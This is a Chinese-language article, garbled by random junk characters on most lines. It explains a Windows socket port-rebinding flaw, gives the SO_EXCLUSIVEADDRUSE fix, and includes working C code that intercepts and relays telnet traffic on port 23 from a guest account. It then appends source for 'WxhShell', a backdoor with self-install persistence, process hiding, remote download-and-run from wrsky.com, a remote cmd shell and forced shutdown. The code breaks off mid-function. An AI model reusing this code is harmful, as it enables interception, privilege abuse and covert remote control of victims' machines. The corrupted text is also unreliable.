在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
r9^~I s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+n<;);h Vvl8P|x.< saddr.sin_family = AF_INET;
byj7c( YzAGhAyw saddr.sin_addr.s_addr = htonl(INADDR_ANY);
hB]<li)"C Ng1[y4R} bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
X.ZY1vO UTuOean ]' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
62/tg*) )7N$lY< 这意味着什么?意味着可以进行如下的攻击:
B]cV|S| 5U JMiwP{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
<d3N2 t$U eks 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
+r__>V, 95 X6V 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
brt`oR Cqw`K P 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
J`A )WsKkb xgB-m[Xi 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
G/}nwj\ K6oQx)| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
A)o%\j +}!FP3KgT 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
AaJnRtBS~ xy<)zKp #include
\F),SL #include
Cv1CRmqq% #include
_VAX~Y] #include
3=kw{r[2lM DWORD WINAPI ClientThread(LPVOID lpParam);
vtf`+q int main()
&0@AM_b {
zB)wYKwZ WORD wVersionRequested;
(
ESmP DWORD ret;
::G0v WSADATA wsaData;
7
[?]DyOf BOOL val;
>`.$Tyw SOCKADDR_IN saddr;
gS^Y? SOCKADDR_IN scaddr;
\>|:URnD int err;
Ezw< SOCKET s;
Zk
9 i}H SOCKET sc;
?N!.:~~k int caddsize;
;!/g`*? HANDLE mt;
@RVj~J.A DWORD tid;
UNKXfe(X9 wVersionRequested = MAKEWORD( 2, 2 );
CK RnkTTiV err = WSAStartup( wVersionRequested, &wsaData );
[%BWCd8Q~P if ( err != 0 ) {
P}bw Ej printf("error!WSAStartup failed!\n");
tp=/f
!bv return -1;
/hbdQm }
Ng<oz*>U saddr.sin_family = AF_INET;
H}&4#CQ'! TY*q[AWG //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
AG<TY<nqL W!WeYV}kb saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
1jQlwT(: saddr.sin_port = htons(23);
|th"ET if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
's6hCs&|NV {
*v9 {f? printf("error!socket failed!\n");
Eg|C return -1;
8AVG pL }
:l?/]K val = TRUE;
5Lm<3:7Q+ //SO_REUSEADDR选项就是可以实现端口重绑定的
3r,^is if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@
Yzj {
\I`g[nT| printf("error!setsockopt failed!\n");
e't1.%w return -1;
.2:S0=xt< }
3k?|-js //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
XYsU)(;j //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]h_V5rdX@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
>>HC| >qjV(_?F- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
[i)G:8U {
t:.ZvA3 ret=GetLastError();
Z }Z]["q printf("error!bind failed!\n");
AwO'%+Bv return -1;
92S,W?( }
-axV;+"b listen(s,2);
.LHzaeJCX while(1)
Y]Y]"y$1 {
9$:+5f,%a caddsize = sizeof(scaddr);
F
{T\UX //接受连接请求
Stxrgmu sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
H?<ceK'e if(sc!=INVALID_SOCKET)
B(|dT66K {
j*}2AI mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
"jG-)k`a if(mt==NULL)
,}_uk]AQ {
$>y printf("Thread Creat Failed!\n");
'2.11cM3 break;
?3+>% bO }
:*{\oqFn~$ }
ac??lHtH9 CloseHandle(mt);
`SSUQ#@ }
@&M$oI$4* closesocket(s);
O/2Jz WSACleanup();
i7(\i2_P return 0;
C1KO]e > }
-$m?ShDd DWORD WINAPI ClientThread(LPVOID lpParam)
s.G6?1VXlY {
jW!)5(B[A SOCKET ss = (SOCKET)lpParam;
&SE+7HXw SOCKET sc;
5uufpvah unsigned char buf[4096];
!2Q> SOCKADDR_IN saddr;
o|0QstSCl long num;
9F"Q2^l' DWORD val;
=c(3EI'w DWORD ret;
[e+$jsPl //如果是隐藏端口应用的话,可以在此处加一些判断
+4%:q~C //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
vs~lyM/ saddr.sin_family = AF_INET;
r 2L=gI saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
E)7ODRVbl saddr.sin_port = htons(23);
Co#_Cyxg=9 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\9t6#8 {
/i)1BaF printf("error!socket failed!\n");
k|c=O6GO return -1;
%[C-KQH }
3V`.< val = 100;
_z3YB if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4C{3>BE {
edy6WzxBcm ret = GetLastError();
oPA
[vY return -1;
Ho:X.Z9A^ }
!1\jD if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
DfQD!}= {
az2CFd^M ret = GetLastError();
H;OPA8\n return -1;
f:-dw6a=s }
Ew kZzVuX if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
SZm)`r\A {
W=k%aB?p printf("error!socket connect failed!\n");
';z5]O~ closesocket(sc);
-'OO6mU closesocket(ss);
H^no&$2`1 return -1;
GxIw4m9 }
!bi}9w while(1)
9k@`{+wmZ {
X519}
l3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
cOr@dUSL //如果是嗅探内容的话,可以再此处进行内容分析和记录
SAEV " //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
`b{.K, num = recv(ss,buf,4096,0);
$q6'VLPo if(num>0)
=':,oz^| send(sc,buf,num,0);
}@V,v[&e else if(num==0)
}w)`)N break;
U0M>A num = recv(sc,buf,4096,0);
'Na/AcRdg if(num>0)
.{|AHW&0< send(ss,buf,num,0);
!cWnQRIt_F else if(num==0)
wCb%{iowH break;
<C'S#5,2 }
-)Y?1w closesocket(ss);
%Jpb&CEY closesocket(sc);
=!`\=!y return 0 ;
6/#5TdJA }
mJ%r2$/* Y%V|M0 0` d">Ya !W ==========================================================
9$xEktfV DgLSDKO! 下边附上一个代码,,WXhSHELL
> HL8hN'q' ^8V cm* ==========================================================
U&|$B|[ ^<e"OV #include "stdafx.h"
o\luE{H
.? H5N(MihT #include <stdio.h>
dIo|i,- #include <string.h>
n>dM OQb #include <windows.h>
"p\XaClpz #include <winsock2.h>
N3};M~\ #include <winsvc.h>
adJoT-8P6 #include <urlmon.h>
2rw<]Ce Wsr #YNhx| #pragma comment (lib, "Ws2_32.lib")
W&>+~A #pragma comment (lib, "urlmon.lib")
pP'-}% eXU;UO^ #define MAX_USER 100 // 最大客户端连接数
DT=! #define BUF_SOCK 200 // sock buffer
`f:5w^A #define KEY_BUFF 255 // 输入 buffer
a`w)awb Kup-O
u, #define REBOOT 0 // 重启
/rNY;qXM #define SHUTDOWN 1 // 关机
!HXdUAKu QsmG(1= #define DEF_PORT 5000 // 监听端口
L#e|t0'# .~5cNu'#m #define REG_LEN 16 // 注册表键长度
K6,5C0 #define SVC_LEN 80 // NT服务名长度
Oed&B 7 #,+Q(2 // 从dll定义API
(WW,]#^
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
a<V=C typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
S)"5X)mq typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
|7zm!^t$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Oh:SH|=]# F|V co]"S1 // wxhshell配置信息
OD"eB? struct WSCFG {
55oLj.l^j int ws_port; // 监听端口
KG#|Cq char ws_passstr[REG_LEN]; // 口令
iR#jBqXD int ws_autoins; // 安装标记, 1=yes 0=no
O'."ca]:5 char ws_regname[REG_LEN]; // 注册表键名
n20H{TA char ws_svcname[REG_LEN]; // 服务名
IBVP4&}x$ char ws_svcdisp[SVC_LEN]; // 服务显示名
-}UCdaQ3 char ws_svcdesc[SVC_LEN]; // 服务描述信息
0 EXAdRR char ws_passmsg[SVC_LEN]; // 密码输入提示信息
mId{f int ws_downexe; // 下载执行标记, 1=yes 0=no
gzDb~UEoF char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
9wKz p char ws_filenam[SVC_LEN]; // 下载后保存的文件名
q_f
v1U3 tazBZ'\c };
_>5BFQ_ Y@.> eS // default Wxhshell configuration
zck)D^,aO struct WSCFG wscfg={DEF_PORT,
U2ANu| "xuhuanlingzhe",
LM _4.J 1,
&V( LeSI "Wxhshell",
YA^9, q6u? "Wxhshell",
CSU> nIE0 "WxhShell Service",
$zCUQthL@ "Wrsky Windows CmdShell Service",
{uj9fE,) "Please Input Your Password: ",
%h%r6EB1F 1,
Ro:-u7q "
http://www.wrsky.com/wxhshell.exe",
S0=BfkHi. "Wxhshell.exe"
XB;;OP12 };
73xI8 l}AB):<Z // 消息定义模块
^:-%tpB#! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Gz *U?R-T char *msg_ws_prompt="\n\r? for help\n\r#>";
dm$:xE": char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
:OI!YR%" char *msg_ws_ext="\n\rExit.";
.yWdlq## char *msg_ws_end="\n\rQuit.";
Fr%KO)s2 char *msg_ws_boot="\n\rReboot...";
udc9$uO char *msg_ws_poff="\n\rShutdown...";
`%ymg8^ char *msg_ws_down="\n\rSave to ";
0/K NXz &U
'Ds! char *msg_ws_err="\n\rErr!";
g1J]z<& char *msg_ws_ok="\n\rOK!";
f\(K ou$ jv0e&rt char ExeFile[MAX_PATH];
P6=|C;[ int nUser = 0;
>Ft jrEB HANDLE handles[MAX_USER];
`ZefSmb int OsIsNt;
FpRK^MEkG #3CA SERVICE_STATUS serviceStatus;
_F3vC# SERVICE_STATUS_HANDLE hServiceStatusHandle;
h}`<pq OC\C^Yh*U // 函数声明
jEO; int Install(void);
\W@?revK int Uninstall(void);
sox90o 7 int DownloadFile(char *sURL, SOCKET wsh);
F37,u| int Boot(int flag);
9) YG)A~< void HideProc(void);
hG;u8|uT^i int GetOsVer(void);
V
u!,tpa. int Wxhshell(SOCKET wsl);
-=qmYf void TalkWithClient(void *cs);
fCVSVn"o int CmdShell(SOCKET sock);
jN {ED_ int StartFromService(void);
b'{D4/ int StartWxhshell(LPSTR lpCmdLine);
P7Y[?='v \|&5eeE@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
)O&$-4gL' VOID WINAPI NTServiceHandler( DWORD fdwControl );
U&eLj"XZ Ns9g>~ // 数据结构和表定义
:e9E#o SERVICE_TABLE_ENTRY DispatchTable[] =
[w4z)! {
pI^n("| {wscfg.ws_svcname, NTServiceMain},
WD)[Ac[ {NULL, NULL}
Ql V:8:H$ };
]CL70+[^9 L]tyL) // 自我安装
G/`_$ c int Install(void)
XnG!T$ {
V?rI,'F>N char svExeFile[MAX_PATH];
]JM9 ^F HKEY key;
54)}^ftY^ strcpy(svExeFile,ExeFile);
g{ a0,B/j uIPR*9~6o // 如果是win9x系统,修改注册表设为自启动
$i`YtV if(!OsIsNt) {
kdo)y(fn@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FVpe*] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3sw1y RegCloseKey(key);
~|!lC}!IKL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
eeX>SL5'i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0!zWXKX RegCloseKey(key);
2Vi[qS^ return 0;
Z3/ zUtgs }
HYY|)Wo }
M>^IQ }
;}PL/L$L6; else {
N,1wfOE TUUBC% // 如果是NT以上系统,安装为系统服务
3whyIXs SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
$H9xM if (schSCManager!=0)
& 3a+6!L[ {
s-DtkO
SC_HANDLE schService = CreateService
w])Sz*J (
&S{F"z schSCManager,
oc?VAF wscfg.ws_svcname,
T<?;:MO88 wscfg.ws_svcdisp,
D;E&;vP6% SERVICE_ALL_ACCESS,
xSf3Ir(, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
= G_6D SERVICE_AUTO_START,
j?,$*Fi SERVICE_ERROR_NORMAL,
0j yokER svExeFile,
mU_O64 NULL,
8L@di Y NULL,
04"hQt{[ NULL,
GQQ!3LwP\O NULL,
g$97"d' NULL
5-J-Tn );
Xgm7>=l if (schService!=0)
7D^A:f {
-_}EQ9Q CloseServiceHandle(schService);
?\yo~=N^ CloseServiceHandle(schSCManager);
<eI;Jph5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
iOyYf!yg strcat(svExeFile,wscfg.ws_svcname);
t&oNJq{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
r3-3*_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
i>~?XVU RegCloseKey(key);
D'&LwU,o return 0;
%|I|Mc }
68SM br }
`l}-S |a CloseServiceHandle(schSCManager);
_`\INZe-G }
C+mU_g> }
VuY.})+J: kmS8>O return 1;
ev3x*}d0 }
wfdFGoy( 3,[2-obmi // 自我卸载
BAhC-;B#R int Uninstall(void)
M Q6Y^,B {
a !IH-XJ2 HKEY key;
ZUu^==a W< n`[ if(!OsIsNt) {
yV8).4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_pS%tPw RegDeleteValue(key,wscfg.ws_regname);
0b4OJ[ RegCloseKey(key);
t'J
fiGM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}:%pOL n RegDeleteValue(key,wscfg.ws_regname);
VtO+=mZV RegCloseKey(key);
jz)H?UuDY return 0;
piP8ObGjy }
H07j& }
|}`5<a!6U }
(TE2t7ab|M else {
E;qwoTmul 1bBK1Uw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
qEAF!iB]L if (schSCManager!=0)
5-OvPTY`M {
r>Ln*R,9D
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
I ?>#neHc6 if (schService!=0)
@K9T )p] {
+@Y[i."^J if(DeleteService(schService)!=0) {
+6=!ve} CloseServiceHandle(schService);
{OOt+U! CloseServiceHandle(schSCManager);
=(ZGaZ} return 0;
0
OBkd }
fo.m&mKgo CloseServiceHandle(schService);
+[ItkfSod! }
nR7\ o(! CloseServiceHandle(schSCManager);
\ p$0 }
j1ZFsTFMWp }
9)">()8 6fkr!&Dy7 return 1;
|$PLZ, }
ng*%1;P =r~.I // 从指定url下载文件
z m'jk D| int DownloadFile(char *sURL, SOCKET wsh)
{#,FlR2 {
ju#63 HRESULT hr;
RVfe}4Stm# char seps[]= "/";
W%1S:2+Kl char *token;
}>0
Kc= char *file;
~S3eatM$9 char myURL[MAX_PATH];
gnXjd} char myFILE[MAX_PATH];
V5B-S.i@ {Fi@|' strcpy(myURL,sURL);
:j~5(K" token=strtok(myURL,seps);
7m M;Q while(token!=NULL)
o!~bR
{
to3J@:V8e file=token;
f[b YjIX token=strtok(NULL,seps);
H#inr^Xa }
[fp"MPP3 $J6.a!5IE GetCurrentDirectory(MAX_PATH,myFILE);
LzRiiP^q strcat(myFILE, "\\");
O@iW?9C+ strcat(myFILE, file);
?^~"x.<nr send(wsh,myFILE,strlen(myFILE),0);
yUO|3ONT send(wsh,"...",3,0);
{ZXC%(u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
PoJ$%_a} if(hr==S_OK)
L2'd sOn return 0;
:2E1aVo4b else
>|)0Amt return 1;
ImY.HB^& >x4[7YAU{ }
n5.>;N.* (x
qA.(F // 系统电源模块
Jj:6
c int Boot(int flag)
\w^QHX1+ {
FRFAWK< HANDLE hToken;
au|^V^m TOKEN_PRIVILEGES tkp;
9Yyg}l: U$)Hhn|X if(OsIsNt) {
C8E C?fSQ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/\rq$W_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
s.` d<(X? tkp.PrivilegeCount = 1;
T3./V0]\I tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
8[)]3K x AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
6#M0AG if(flag==REBOOT) {
-vHr1I< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
SFk#bh return 0;
A Vm{#^p[( }
N?;o_^C else {
`mjx4Lb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
k-V I9H!, return 0;
jJ!-hg4?] }
).C! }
ex\W]5 else {
H@E ")@92 if(flag==REBOOT) {
_}OJPahw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
GQ2PmnV+ return 0;
@b\ S. }
.vS6_ else {
1?|6odc if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
HhmVV"g return 0;
vt@Us\fI }
`t0f L\T }
j yRSEk$ =nx:GT3&[ return 1;
-'[(Uzj }
[!@oRK=~ :z.Y$]F@ // win9x进程隐藏模块
drKjLo[y void HideProc(void)
MJ,ZXJXs {
ceZ8}Sh K3:|Tc( HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^}Qj} if ( hKernel != NULL )
4iNbK~5j {
99"[b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
hNnX-^J<o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
pP* ~ =? FreeLibrary(hKernel);
rA1r#ksQ }
PCPf*G> rLh9`0|D return;
VS|("** }
X@qk> / UIOEkQ\Wl // 获取操作系统版本
Z.':&7Y int GetOsVer(void)
ggI=I<7M {
s)YP%vn# OSVERSIONINFO winfo;
Y^2Qxo3"3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
u:$x6/t GetVersionEx(&winfo);
j-YJ." if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
a4(?]ND~6 return 1;
]}[Yf else
q|o|/ O-{ return 0;
Y/,$Y]%g }
b"M`@';+ nS+FX&_ // 客户端句柄模块
*Z`XG_ s5 int Wxhshell(SOCKET wsl)
eKVALUw {
w,Zx5bBg% SOCKET wsh;
0<@KDlF struct sockaddr_in client;
dA1
C)gLi DWORD myID;
XDkS
^9 M6]0Y@@> while(nUser<MAX_USER)
6W;?8Z_1 {
*SkiFEoD int nSize=sizeof(client);
ZSPgci wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
AL]h|)6QpC if(wsh==INVALID_SOCKET) return 1;
oWDSK^ -/UXd4S handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
R+E_#lP_$ if(handles[nUser]==0)
=1*%>K closesocket(wsh);
hA*Z'.[ else
gf3U#L}P nUser++;
V+O0k: o }
.vN%UNu WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
2K]IlsMO& Y:%m;b$] return 0;
drENkS=, }
|,;twj[?4 kz0I2!bt // 关闭 socket
i)7n c void CloseIt(SOCKET wsh)
]Y4q'KH {
,$h(fM8GC closesocket(wsh);
=!(*5\IM nUser--;
X_u@D;$ ExitThread(0);
;h9-}F }
r+{d!CHq} %9T~8L
@. // 客户端请求句柄
SbS$(Gt#Bv void TalkWithClient(void *cs)
u3Usq=Ij{ {
-J"qrpZ^ QSHJmk 6L SOCKET wsh=(SOCKET)cs;
N^h|h char pwd[SVC_LEN];
'7Mep
] char cmd[KEY_BUFF];
t/KcXM char chr[1];
<E>7>ZL int i,j;
5=Kq@[(4 C}mYt/ while (nUser < MAX_USER) {
<rX\LwR =6cyE if(wscfg.ws_passstr) {
-(\1r2
Y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
K`Bq(z?/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
nTys4R //ZeroMemory(pwd,KEY_BUFF);
3s` V)aXP i=0;
=Kc|C~g while(i<SVC_LEN) {
EqD^/(,L2 j?:`-\w5 // 设置超时
4l lD6&% fd_set FdRead;
AqV09 $ struct timeval TimeOut;
W/ g|{t[ FD_ZERO(&FdRead);
e9CP802#2 FD_SET(wsh,&FdRead);
^W
Y8-6 TimeOut.tv_sec=8;
`FA)om TimeOut.tv_usec=0;
qDnCn H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
nnt8 sf@\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
i`[#W(m 5vD3K!\u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
v:rD3=M- pwd
=chr[0]; 6exI_3A4jh
if(chr[0]==0xd || chr[0]==0xa) { YBX)eWslK
pwd=0; (U|)xA]y!
break; XC|*A$x,
} vv+TKO
i++; F:M>z=
} 6xH;:B)d
X=v~^8M7%
// 如果是非法用户,关闭 socket 5>k>L*5J
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wgY6D!Y
} }m6f^fs}
?gLR<d_
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [IiwN qZ[~
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,YjxCp3
9s!
2 wwh
while(1) { /~40rXH2C
vO\:vp4fH
ZeroMemory(cmd,KEY_BUFF); t]s94 R q
JOBz{;:R{
// 自动支持客户端 telnet标准 r5o@+"!
j=0; m_a^RB(
while(j<KEY_BUFF) { -=>sTMWpr
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hx$.9'Oq\Q
cmd[j]=chr[0]; 0 _Q*E3
if(chr[0]==0xa || chr[0]==0xd) { (O$}(Tn
cmd[j]=0; D =$4/D:;
break; }@d>, 1DU
} r0>q%eM8
j++; N83!C=X'
} l+%Fl=Q2em
4~!Eje!
// 下载文件 >Q;
g0\I_
if(strstr(cmd,"http://")) { O?CdAnhQc`
send(wsh,msg_ws_down,strlen(msg_ws_down),0); d]U`?A,
if(DownloadFile(cmd,wsh)) ~?gzq~~t
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
:-z&Y492
else FJ{=2]x|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q4RpK(N
} ~i%-WX
else { 1\/{#c
9I85EcT^4"
switch(cmd[0]) { ton1oq
%NNj9Bl<VV
// 帮助 DKX/W+#a
case '?': { kP@HG<~
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IXnb]q.
break; TN5>" ??"
} oz LH ]*
// 安装 eNtf#Rqym
case 'i': { ]D O&x+Rb
if(Install()) e,(a6X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t<Ot|Ex
else xk& NAB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Z},A-\S*
break; _6ZzuVv3/
} +p9-
.YM
// 卸载 I_ONbJ9]
case 'r': { dPsLZ"I
if(Uninstall()) x>v-m*4Z4@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Ko^G_Rm
else )IHG6}<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nb0Ik/:<
break; O$^xkv5.
} OZf6/10O/
// 显示 wxhshell 所在路径 Zae.MO^C!
case 'p': { k0JW[04j
char svExeFile[MAX_PATH]; S<"oUdkz
strcpy(svExeFile,"\n\r"); %)?`{O~ h
strcat(svExeFile,ExeFile); @Gt`Ds9=
send(wsh,svExeFile,strlen(svExeFile),0); Or7
mD
break; &=X.*H%
} |jsb@
// 重启 uAUp5XP|Z
case 'b': { |d[5l^6
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dN< ,%}R
if(Boot(REBOOT)) $E\^v^LW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >TY6O.]
else { R::zuv
closesocket(wsh); \8e2?(@"k
ExitThread(0); L_~8"I_
} (-,>qMQs
break; ;r.EC}>m
} Lkn4<'un
// 关机 -jB3L:
case 'd': { z8E1 m"
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ];1R&:t
if(Boot(SHUTDOWN)) "oR@JbdX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ &pqt6/t
else { 7/aOsW"6
closesocket(wsh); #Y2i*:<
ExitThread(0); S(
} !J3UqS
break; LBat:7aH>
} 7CGyC[[T~
// 获取shell z8"7u/4v{
case 's': { gv|"OlB
CmdShell(wsh); r{_ >ldjq
closesocket(wsh); E8ta|D
ExitThread(0); nn+_TMu
break; u#@RM^738d
} 2z\e\I
// 退出 MG{l~|\x)
case 'x': { I-DXb
M
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8PBvV[
CloseIt(wsh); ~E)fpGJ
break; cG{L
jt
} eM2|c3/
// 离开 'RbQj}@x
case 'q': { * ?]~
#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); PX2c[CDE^
closesocket(wsh); ~e-z,:Af
WSACleanup(); UG](go't
exit(1); u -3:k
break;
.X'p q5
} A%XX5*
} rS7)6h7(7
} v-Qmx-N
wNYg$d0M
// 提示信息 __Nv0Ru
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dg_G s>?2
} > 'i
} e#S0Fk)z
Z"y=sDO{
return; bm#(?
} oyvKag
>/=> B7
// shell模块句柄 !5Sd2<N
int CmdShell(SOCKET sock) y >+mc7n
{ ?!'ZfQ:zK
STARTUPINFO si; iM]o"qOQm
ZeroMemory(&si,sizeof(si)); Nd@~>&F
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ef)yQ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *F`A S>
PROCESS_INFORMATION ProcessInfo; "@/62b
char cmdline[]="cmd"; hgj <>H|
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'xE
_Cj
return 0; Fmr}o(q1
} t:)ERT")
e<cM[6H'D
// 自身启动模式 !.TLW
int StartFromService(void) :O= \<t
{ wW>fVPr
typedef struct @~ETj26U'
{ 2%u;$pj
DWORD ExitStatus; V[nQQxWp=
DWORD PebBaseAddress; i+{yMol1
DWORD AffinityMask; Qk1xUE
DWORD BasePriority; hA1-){aw3q
ULONG UniqueProcessId; .(CP. d
ULONG InheritedFromUniqueProcessId; /i]y$^
